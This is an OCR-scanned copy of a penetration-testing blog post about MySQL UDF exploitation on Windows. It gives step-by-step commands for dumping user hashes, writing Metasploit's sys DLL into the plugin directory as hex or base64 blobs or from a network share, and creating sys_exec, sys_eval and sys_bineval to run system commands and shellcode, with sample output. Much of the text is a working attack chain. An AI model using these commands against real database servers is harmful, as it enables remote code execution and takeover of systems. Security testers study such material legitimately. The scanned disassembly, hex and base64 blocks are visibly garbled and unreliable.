MySQL UDF Exploitation

Osanda Malith Jayathissa
(@0sandaMalith)


https://osandamalith.com/2018/02/11/mysql-udf-exploitation/

Table of Contents

OVBIVIBW ittt ettt a et e sttt e ettt e e ettt ettt et es 3
WAt 1S @ UDF LIDIAry? oo ettt e e ettt e e e ettt e e e et e e e 5
UPI0AdING @ BINAY FilB ..oii ittt et e e ettt e e e st e e e e st e e e e e tb e e e e sraaeaeeea 7
[ qol[o aTaY - { o LI L OO OO PR UPPPPRRPT 10
VT = 10
SIS BV 1t 11
Y << TSSOSO PPPPPTTR 13
Executing Shellcode — SYS DINEVAL......cuiii it 14
RS (T <] ool LTSS PSR 16
LY oo UL PSPPSR PSRRI 17

2|Page



Overview

In the real world, while | was pentesting a financial institute | came across a scenario where they had an
internal intranet and it was using MySQL 5.7 64-bit as the backend database technology. Most of the time
the | encounter MSSQL in most cooperate environments, but this was a rare case. | found SQL injection in
the web application and | was able to dump the username and password from the mysql.user and |
realized it had privileges to write files to disk. This lead me into writing a post and sharing techniques in
injecting a UDF library to MySQL and gaining code execution and popping a shell in Windows. When |
Googled most techniques are a bit vague when it comes to Windows. So, | thought of writing this post
with my own research to clear things and make you understand few tricks you can use to do this
manually.

| will be hosting the latest MySQL 5.7.21 latest community server by the time | am blogging this, in one
machine. To reproduce the scenario, | am running the mysqgld server with ‘—secure-file-priv="parameter
set to blank. In this scenario | was able to retrieve the username and password from the mysgl.user table
using a union based injection in the intranet. Note that in MySQL 5.7 and above the column ‘password’
doesn’t exists. They have changed it to ‘authentication_string’.

select host, user, password from mysql.user;

select host, user, authentication_string from mysql.user;

= select hos user, authentication_string from mysql.user;

*THISISHOTAVALID
*THISISNOTAVALIDI
*5691484EAGES ODDDEL

691484EAGR5 0DDDE1 92 6A220DA01FAZES

rows in set (0.00 sec)

Note that you can use the metasploit’s mysgl_hashdump.rb auxiliary module to dump the MySQL hashes
if you already have the credentials. By the time | am writing this blog post the script needed to be
updated to extract in MySQL 5.7 you can check my pull request

The host column for the user ‘osanda’ allows connections from 192.168.0.*, which means we can use this
user for remote connections from that IP range. | cracked password hash and got the plain text password.
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:~# mysql -h192.168.0.30 -uosanda -pabcl23
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 7
Server version: 5.7.21 MySQL Community Server (GPL)

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input st
MySQL [ (none)]>

MySQL [(none)]>
MySQL [(none)]> select user();

1 row in set (0.02 sec)

After logging into MySQL | had a look at the privileges the current user had.

select * from mysql.user where user = substring_index(user(), '@', 1) ;

e e T L L) FOW KK ok skok ok s o ok ok R KRR R R R ok

Host: 192.168.0.%
User: osanda

Select priv: Y
Insert priv:
Update priv:
Delete priv:
Create priv:
Drop priv:
Reload priv:
Shutdown priv:
Process priv:
File priv:
Grant priv:
References priv:
Index priv:
Alter priv:
Show db priv:
Super priv:
Create tmp table priv:
Lock tables priv:
Execute priv:
Repl slave priv:
Repl client priv:
Create view priv:
Show view priv:
Create routine priv:
Alter routine priv:
Create user priv:
Event priv:
Trigger priv:
Create tablespace priv:
ssl type:
ssl cipher:
X509 issuer:
x509 subject:
max questions: ©
max updates: ©
0
0

LKL LLLALLLLLL LKL L LKL L L=<

max connections:
max user connections:
plugin: mysql native password
authentication string: *6691484EA6B50DDDE1926A220DAO1FASE575C18A
password expired: N
password last changed: 2018-02-07 12:10:10
password lifetime: NULL
account locked: N
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The user we are logged in has all the privileges and we have privileges to read and write files, in which
you can think about writing a UDF DLL library and gaining code execution on the box.

What is a UDF Library?

UDF means User Defined Functions in MySQL. It’s like coding your own functions inside a DLL and calling
them inside MySQL. We are going to use the “lib_mysqgludf_sys_64.dll” DLL library which can be found
inside the Metasploit framework. You can use the UDF libraries based on the OS and architecture that is
inside your Metasploit installation directory “/usr/share/metasploit-

framework/data/exploits/mysql/”. Click here for the github link to the files.

First, we must check the architecture of MySQL running. The global variable ‘@ @version_compile_os’
shows us the architecture of the MySQL instance and the ‘@ @version_compile_machine’ shows us the
architecture of the operating system. In this case we are running a 64-bit version of MySQL inside a 64-bit
Windows OS.

MySQL [(none)]> select @@version_compile os, @@version_compile_machine;

| version_compile_machine | x86_64 |

| version_compile os | wine4 |
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https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql

Starting from MySQL 5.0.67 the UDF library must be contained inside the plugin folder which can be
found out by using the ‘@ @plugin_dir’ global variable. This variable can be seen and edited inside the
mysql.ini file.

MySQL [(none)]> select @@plugin_dir ;

1 row in set (0.02 sec)

MySQL [(none)]> show variables like 'plugin%';

o mm e T T L L +
| variable name | Value |
o mm e T T L L +
| plugin_dir | D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\1ib\plugin\ |

R E T e e T +

You can change the plugin directory variable by passing the new value to the mysqld.

mysqld.exe -plugin-dir=C:\\temp\\plugins\\

Another way would be to write a new mysql configuration file with the plugin directory and pass it to
mysgld.

mysqld.exe --defaults-file=C:\\temp\\my.ini

The content of the ‘my.ini’

[mysqld]
plugin_dir = C:\\temp\\plugins\\

In MySQL versions prior to 5.0.67 it’s said the file must be in a directory that is searched by your system’s
dynamic linker. The same applies to MySQL versions prior to 4.1.25. Here’s the text as mentioned in the
documentation.

“As of MySQL 5.0.67, the file must be located in the plugin directory. This directory is given by the value of
the plugin_dir system variable. If the value of plugin_dir is empty, the behavior that is used before 5.0.67
applies: The file must be located in a directory that is searched by your system’s dynamic linker.”
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“As of MySQL 4.1.25, the file must be located in the plugin directory. This directory is given by the value of
the plugin_dir system variable. If the value of plugin_dir is empty, the behavior that is used before 4.1.25
applies: The file must be located in a directory that is searched by your system’s dynamic linker.”

In older versions you can upload the DLL file to the following locations and create new UDF functions.

e @@datadir

o @@basedir\bin

e C:\windows

e C:\windows\system

e C:\windows\system32

Uploading a Binary File

There are many possible ways you can do this. The function load_file supports network paths. If you can
copy the DLL inside a network share you can directly load it and write to disk.

select load_file('\\\\192.168.0.19\\network\\1ib_mysqludf_sys 64.d11"') into dumpfile
"D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\1ib\\plugin\\udf.dl1l";

Another method would be writing the entire DLL file into the disk in one hex encoded string.

select hex(load_file('/usr/share/metasploit-
framework/data/exploits/mysql/lib_mysqludf_sys 64.d11')) into dumpfile
'/tmp/udf.hex"';

select
0x4d5290000300000004000000Ff000Ob80VVVCCCCVVVV004000000000000000000000VVVLLRRRRO
000000.. into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-
winx64\\1ib\\plugin\\udf.d11";

Another way would be by creating a table and inserting the binary data in a hex encoded stream. You can
try writing in one insert statement or by breaking down into pieces, in which by using the update
statement to contact the binary data.

create table temp(data longblob);
insert into temp(data) values

(0x4d5290000300000004000000T{000Ob800VVVVVVVVVVV0400000000000000000000VV0VVVVVA00
0000000000000V TVl fbakeddbl09cd21b8014ccd2154686973207
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072616772616d2063616e6e61742062652072756€20696e20444153206d6164652e0d0d0a240000000000
0000000000000000000) ;

update temp set data =
concat(data,@x33c2ede®77a383b377a383b377a383b369f110b375a383b369F100b37da383b369107b
375a383b350651f8b374a383b377a382b35ba383b369110ab376a383b369f116b375a383b369f111b376a3
83b3691112b376a383b352696368772383b30000000000000000000000000000V0VV50450000648606007
0b1834b000000A0) ;

select data from temp into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-
winx64\\1ib\\plugin\\udf.d1ll";

You can also directly load the file from disk to the above created table from a network share or locally like
using ‘load data infile’ statement. Convert the file to hex like I've show above and unhex it while writing to
disk.

load data infile '"\\\\192.168.0.19\\network\\udf.hex'
into table temp fields terminated by '@0OsandaMalith'’
lines terminated by '@0OsandaMalith' (data);

select unhex(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-
5.7.21-winx64\\1ib\\plugin\\udf.dll";

There’s good news starting from MySQL 5.6.1 and MariaDB 10.0.5. The functions ‘to_base64’ and
from_base64’ were introduced. If you are a guy like me who loves bypassing WAFs in SQL injection you
might be already using these functions (hint: routed query injection).

select to_base64(load_file('/usr/share/metasploit-
framework/data/exploits/mysql/1lib_mysqludf_sys_64.d11"))
into dumpfile '/tmp/udf.b64’;

You can edit the base64 file and add the following lines to dump to the plugin dir.
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select

from_base64 ("TVQQAAMAAAAEAAAA/ / 8BAALEAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA
AAAABAAAAAATUgAAtANNIbgBTMOhVGhpcyBwcmOncmFtIGNhbm5vdCBiZSBydW4gaW4gRESTIG1v
ZGUuUDQOKJAAAAAAAAAAZWU3gd60Ds3ejg7N3040zafEQs3Wjg7Np8QCzTaODs2nxB7N1040zUGX4
$3Sjg7N304KzW60Ds2nxCrN2040zafEWs3Wjg7Np8RGzdqODs2nXxErN2040zUml jaHe jg7MAAAAA
AAAAAAAAAAAAAAAAUEUAAGSGBEBWSYNLAAAAAAAAAADWACTIgCwIIJAAASAAAAFgAAAAAAADQaAAAA
EAAAAAAAEAEAAAAAEAAAAATAAAUAAgAAAAAABQACAAAAAAAAEAAAAAQAADPOAAACAEABAAAQAAAA
AAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAASAAAFAgAAQDQAADWAAAAAYAAASATA
AABQAABOAQAAAAAAAAAAAAAACAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAWAABWAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALNRIeHQAAAAR
EAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAATAAAYCS5YZGFOYQAABQSAAAAWAAAADAAAABYAAAAA™ )
into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-
winx64\\1ib\\plugin\\udf.d11l";

After that you can pass the entire file to mysql like this.

mysql -h192.168.0.30 -uosanda -pabcl23 < /tmp/udf.b64

You can also directly write the base64 encoded file from a network share or locally using the above
discussed ‘load data infile’ statement and dump like this.

select from_base64(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-
winx64\\mysql-5.7.21-winx64\\1ib\\plugin\\udf.dll";
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Exploring the DLL

Most of the time I've seen people writing only about the ‘sys_exec’ function inside this DLL which is inside
Metasploit. For curiosity, | thought of reversing this DLL and exploring other functions. If we check the
export directory, we can see the author had written few more useful functions. I'll show some useful
functions.

Ordinal Function RVA | Name Ordinal | Name RVA MName

(nFunctions) Dword Word Dword szhnsi

00000001 00001060 0000 00D039F1 lib_mysqludf_sys_info
00000002 00001530 0001 00003407 lib_mysqludf_sys_info_deinit
00000003 00001000 0002 00003A24 lib_mysqludf_sys_info_init
00000004 00001540 0003 00D03A3F sys_bineval

00000005 00001530 0004 D0D03A4E sys_bineval_deinit
00000006 00001520 0005 00DO3ASE sys_bineval_init

00000007 000013E0 0006 00D03AGF sys_eval

00000008 00001530 0007 00D03ATE sys_eval_deinit

00000009 00001350 0008 00003488 sys_eval_init

D0DDODOA 000013C0 0009 00003496 Sy's_exec

000D0D0B 00001530 D0DA 00DO3ASF sys_exec_deinit
0000000C 00001350 000B 00DO3AAF sys_exec_init

00000000 00001120 000C 00003ABD sys_get

000D0D0E 00001530 000D 00003ACS sys_get_deinit

D00DODOF 00001080 DODE 00D03AD4 sys_get_init

00000010 000012D0 D0OF DODO3AET sys_set

00000011 00001280 0010 00DO3AEY sys_set_deinit

00000012 00001180 0011 00D0O3AFE sys_set_init

SYS_exec

The function will pass the argument ‘args->args[0]” inside the ‘system’ function. You can use this to
execute system commands on the target machine.

maw

Mo "X, [rox ; Command
call
cdge
add

retn
endp
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Installation

create function sys exec returns int soname 'udf.dll';

Verification

select * from mysql.func where name = 'sys exec';
+

| name | ret | dl | type

+

| sys exec | 2 | udf.dll | function |

+

Deletion

drop function sys_exec;

sys_eval

This function will execute system commands and display on the screen passing to stdout. As you can use
this function uses the ‘_popen’ function with the ‘r parameter in which the calling process can read the
spawned command’s standard output via the returned stream. It uses ‘fgets’ to read the pipe to a buffer
and it will return us the buffer.

Mo
Mo
Mo
call
mow
lea
Xor
mow
Mo

call
lea
mow
Mo
Mo
call
test
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Installation

create function sys_eval returns string soname 'udf.dll’;

Verification

select * from mysql.func where name = 'sys eval';

Deletion

drop function sys_eval;

Example

select sys_eval('dir');

Volume in drive D is Storage
Volume Serial Number is 8A8D-9C44

Directory of D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\data

11/02/2018 12:48 PM <DIR>
11/02/2018 12:48 PM <DIR> %

11:40 PM 3 aa

11:33 PM 56 auto.cnf

11:53 PM 319 calc.bin
19/12/2014 04:22 AM 85 calc2.bin
19/12/2014 04:22 AM 98 calc3.bin
11/02/2018 12:48 PM 12,582,912 ibdatal
11/02/2018 12:48 PM 12,582,912 ibtmpl
11/02/2018 12:48 PM 520 ib buffer pool
11/02/2018 12:48 PM 50,331,648 ib logfile®

11:33 PM 50,331,648 ib logfilel

12:35 AM <DIR> mysql

11:33 PM <DIR> performance schema
11/02/2018 02:00 AM <DIR> Sys
31/01/2014 11:39 PM 11,264 sys.dll
11/02/2018 ©02:29 AM 35,332 ZDL-00024.err
11/62/2018 :48 PM 4 ZDL-00024.pid

13 File(s) 125,876,801 bytes
5 Dir(s) 69,441,515,520 bytes free |

1 row in set (0.04 sec)

MysQL [(none)]1> |}
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sys_get

This function uses the ‘getenv’ function to return us the value of the system variables.

Mo 3 WarName

call

Installation

create function sys_get returns string soname ‘'udf.dll’;

Verification

select * from mysql.func where name = 'sys get';

Deletion

drop function sys_get;

Example

select sys_get('longonserver');

MySQL [(none)]>
MySQL [(none)]> select sys get('logonserver');

1 row in set (0.02 sec)
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Executing Shellcode — sys_bineval

| found a cool function inside this DLL as ‘sys_bineval’ which can be used to execute shellcode. This
function will allocate RWX memory using the ‘VirtualAlloc” APl and using ‘strcpy’ the ‘args->args[0]” will be
copied into the newly allocated memory. Then this buffer is passed to the ‘CreateThread’ API to spawn a
new thread.

sub

mov

or

xor

Mo

mov :

lea ; rax ; TlProtect = PAGE_EXECUTE_READWRITE

repne sca

mov r ; TlallocationType = MEM LT
not

mov dx, rox ; dwsize

lea

Xor : 2 ; lpAddress

call
mov
mov
mov
monT
mov
call
lea
lea
mov
mov

call =

ar ; ; dwMilliseconds
Mo ; "B ; hHandle

call C i ingl ject

mov g

mov

xor

add
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If we have a look at the ‘CreateThread’ APl we can see that the ‘IpParameter’ which is the copied buffer
using the ‘strcpy’ is passed as a pointer to a variable to be passed to the thread. The function at the
‘StartAddress’ will directly move the ‘IpParamter’ and call ptr rax, that will change RIP to our shellcode.

sub_1f

push
Mo
maw
call
leave
retn
sub_1&

Installation

create function sys_bineval returns int soname 'udf.dll’;

Verification

select * from mysql.func where name = 'sys bineval’;

Deletion

drop function sys_bineval;

Example
However | did not get this working in 64-bit. This works fine in 32-bit platforms. You can directly open the
raw binary shellcode or encode to base64 or hex encode and execute using this function.

select sys bineval(from_base64(load_file('./calc.b64')));
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| noticed that these external UDF functions do not have proper exception handling in the dissembled

tan

Aod

code. Hence, a slightest mistake while calling these functions will lead the mysqgld.exe server to crash. |

hope this article might be useful to you while pentesting MySQL.
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About Me

I’'m a very young independent security researcher passionate in application security, penetration testing
and reverse engineering. | got acknowledged by many organizations for disclosing vulnerabilities including
Microsoft, Apple, Oracle, AT&T, Sony, etc. Currently holds OSCE, OSCP, OSWP, eCRE, eWPTX, eCPPT,
eWPT. You can check other interesting things related to SQLi on https://osandamalith.com/tag/mysgl/
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